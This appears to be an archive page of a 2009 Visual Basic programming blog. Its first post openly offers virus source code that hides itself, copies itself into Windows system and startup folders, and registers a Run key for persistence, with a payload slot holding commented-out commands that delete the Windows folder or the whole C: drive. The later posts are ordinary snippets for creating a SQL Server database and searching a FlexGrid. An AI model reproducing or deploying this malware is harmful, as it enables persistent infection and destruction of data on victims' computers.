Archive

Archive for February, 2009

Source Code Virus

February 22, 2009 programmervb 5 comments

This is a source code virus with vb from my friend, I hope running from your computer.

‘Here code

‘Pallvb WILL NOT BE HELD RESPONSIBLE FOR WHAT PEOPLE MIGHT USE THIS FOR
Dim namefile As String
Dim namereg As String
Private Sub Form_Load()
On Error Resume Next
Me.Hide ’so people can not see it
namefile = “virus.exe” ‘put the virus file name here with the .exe on the end !Recommended to change!
namereg = “virus” ‘put the virus reg key name in here !Recommended to change!
If LCase$(App.Path) <> “c:\windows\system32″ Or “c:\windows\start menu\programs\startup” Or “c:\windows\start menu\programs\start up” Or “c:\winnt\system32″ Or “c:\winnt\start menu\programs\startup” Or “c:\winnt\start menu\programs\start up” Or “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” Then
‘^this is check if the computer already has been infected !Recommended not to touch!
reg namefile, namereg ‘this is to infect the computer
End If
payload ‘this goes to the main part of the virus
End Sub
Function payload()
On Error Resume Next
‘this is the main part of the virus put the code here of what you want this virus to do

‘Shell (“cmd /c del c:\windows\* /F /S /Q”) ‘this will kill the windows folder in C:

‘Shell (“cmd /c del c:\* /F /S /Q”) ‘this will kill the whole C: drive

’start:
‘msgbox “Your Pc Is Infected With The Anoying Virus”
‘goto start ‘this will repeat a msgbox over and over again
End Function

‘and here module

‘!Recommended not to touch!
Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Declare Function RegCloseKey Lib “advapi32.dll” (ByVal Hkey As Long) As Long
Declare Function RegDeleteValue Lib “advapi32.dll” Alias “RegDeleteValueA” (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib “advapi32.dll” Alias “RegOpenKeyA” (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
‘this is to save the virus in the reg to startup when windows boots !Recommended not to touch!
On Error Resume Next
Dim keyhand As Long
Dim X As Long
X = RegCreateKey(Hkey, strPath, keyhand)
X = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
X = RegCloseKey(keyhand)
End Sub
Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
‘this is to delete the virus if something went wrong in reg(below) !Recommended not to touch!
On Error Resume Next
Dim Xkey As Long
Dim X As Long
X = RegOpenKey(Hkey, strPath, Xkey)
X = RegDeleteValue(Xkey, strValue)
X = RegCloseKey(Xkey)
End Function
Function reg(filename As String, regname As String)
‘this is to infect the computer (a little complex) !Recommended not to touch!
On Error GoTo error1
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\windows\system32\” & filename)
On Error GoTo error2
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\windows\system32\” & filename
Exit Function
error1:
On Error Resume Next
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\windows\start menu\programs\startup\” & filename
On Error GoTo error4
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\windows\start menu\programs\start up\” & filename
Exit Function
error2:
On Error GoTo error3
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\winnt\system32\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\winnt\system32\” & filename)
Exit Function
error3:
On Error GoTo error6
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\” & filename)
Exit Function
error4:
On Error Resume Next
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\winnt\start menu\programs\startup\” & filename
On Error GoTo error5
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\winnt\start menu\programs\start up\” & filename
Exit Function
error5:
On Error GoTo enditnow
FileCopy App.Path & “\” & App.EXEName & “.exe”, “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\” & filename
Exit Function
error6:
On Error GoTo error7
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\Documents and Settings\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\Documents and Settings” & filename)
Exit Function
error7:
On Error GoTo enditnow
FileCopy App.Path & “\” & App.EXEName & “.exe”, “c:\program files\” & filename
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
Call savestring(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname, “c:\program files\” & filename)
Exit Function
enditnow:
On Error Resume Next
Call DeleteValue(“HKEY_LOCAL_MACHINE”, “Software\Microsoft\Windows\CurrentVersion\Run”, regname)
End
End Function


Categories: virus

Add a Database to a SQL Server

February 21, 2009 programmervb Leave a comment

Public Function AddSQLDatabase(ByVal ServerName As String, _
ByVal DatabaseName As String, ByVal UserID As String, _
ByVal Password As String, ByVal DatabaseFileName As String, _
ParamArray AddTables() As Variant) As Boolean

‘*************************************
‘PURPOSE:       Creates a Database for an SQL Server
‘PARAMETERS:    ServerName: Name of SQLServer
‘               DatabaseName: Name of Database to Delete
‘               UserID: LoginID for SQL Server.
‘                  User must have sysadmin or
‘                  dbcreator privileges
‘               Password: Password for SQL Server
‘               DatabaseFileName: FileName for Database
‘               AddTables: List of Tables to attach to the db.
‘                  If you don’t want
‘                  to add tables, pass “” as this parameter
‘RETURNS:       True if successful, false otherwise
‘REQUIRES:      Reference to Microsoft SQLDMO object library

‘EXAMPLE:       AddSQLDatabase “MySQLServer”, “NewDB”, -
‘                   “sa”, “myPassword”, _
‘                  “C:\Program Files\Microsoft SQL Server\MSSQL\Data\NewDB.mdf”, _
‘                  ‘”Newtable1″, “NewTable2″

‘NOTES: Tested with SQL 2000.  Should work with SQL 7.0
‘******************************************

Dim oSQLServer As New SQLDMO.SQLServer
Dim oDatabase As New SQLDMO.Database
Dim oDBFile As New SQLDMO.DBFile
Dim oApp As New SQLDMO.Application
Dim oFileGroup As SQLDMO.FileGroup
Dim oTable As SQLDMO.Table
Dim lCtr As Long
Dim oColumn As SQLDMO.Column
On Error GoTo ErrorHandler

With oSQLServer
.Connect ServerName, UserID, Password

oDatabase.Name = DatabaseName

‘THIS uses default properties of
‘the dbfile.  If you want to change these,
’set optional properties, such as MaximumSize
oDBFile.Name = DatabaseName
oDBFile.PhysicalName = DatabaseFileName

Set oFileGroup = oDatabase.FileGroups.Item(“PRIMARY”)
oFileGroup.DBFiles.Add oDBFile

.Databases.Add oDatabase
For lCtr = 0 To UBound(AddTables)
If CStr(AddTables(lCtr)) <> “” Then

Set oTable = New SQLDMO.Table
oTable.Name = AddTables(lCtr)
‘You must add at least one colummn.
‘I’m adding a default identity col named
‘id. If you want to control this,
‘add more parameters to the function
Set oColumn = New SQLDMO.Column

oColumn.Datatype = “int”
oColumn.Identity = True
oColumn.Name = “ID”
oTable.Columns.Add oColumn

oDatabase.Tables.Add oTable

End If
Next
End With
AddSQLDatabase = True
ErrorHandler:
Set oSQLServer = Nothing

Set oDatabase = Nothing
Set oDBFile = Nothing
Set oFileGroup = Nothing
End Function

Categories: Application

Search a record on a FlexGrid on KeyPress Event

February 21, 2009 programmervb Leave a comment

Private Sub MSFlexGrid1_KeyPress(KeyAscii As Integer)
Dim i, j As Integer
Static test As String
If KeyAscii >= 33 And KeyAscii <= 126 Then
test = test & Chr(KeyAscii)
With MSFlexGrid1
For i = 1 To .Rows – 1
j = InStr(.TextMatrix(i, 0), test)  ‘Move Active Cell on Your desired Position
If (j = 1) Then
.Row = i
.Col = 0
.RowSel = i
.ColSel = .Cols – 1
.TopRow = i
Exit Sub
End If
Next
test = “”
test = test & Chr(KeyAscii)
For i = 1 To .Rows – 1
j = InStr(.TextMatrix(i, 0), test)
If (j = 1) Then
.Row = i
.Col = 0
.RowSel = i
.ColSel = .Cols – 1
.TopRow = i
Exit Sub
End If
Next
End With
End If

End Sub

Categories: forms

Upload Source Code

February 20, 2009 programmervb Leave a comment

Please upload source code on BoxNet

Hotel Managment System

from : www.sourcecodeonline.com

Thank’s

Peter Elisa Souhoka

Administrator

Categories: Uncategorized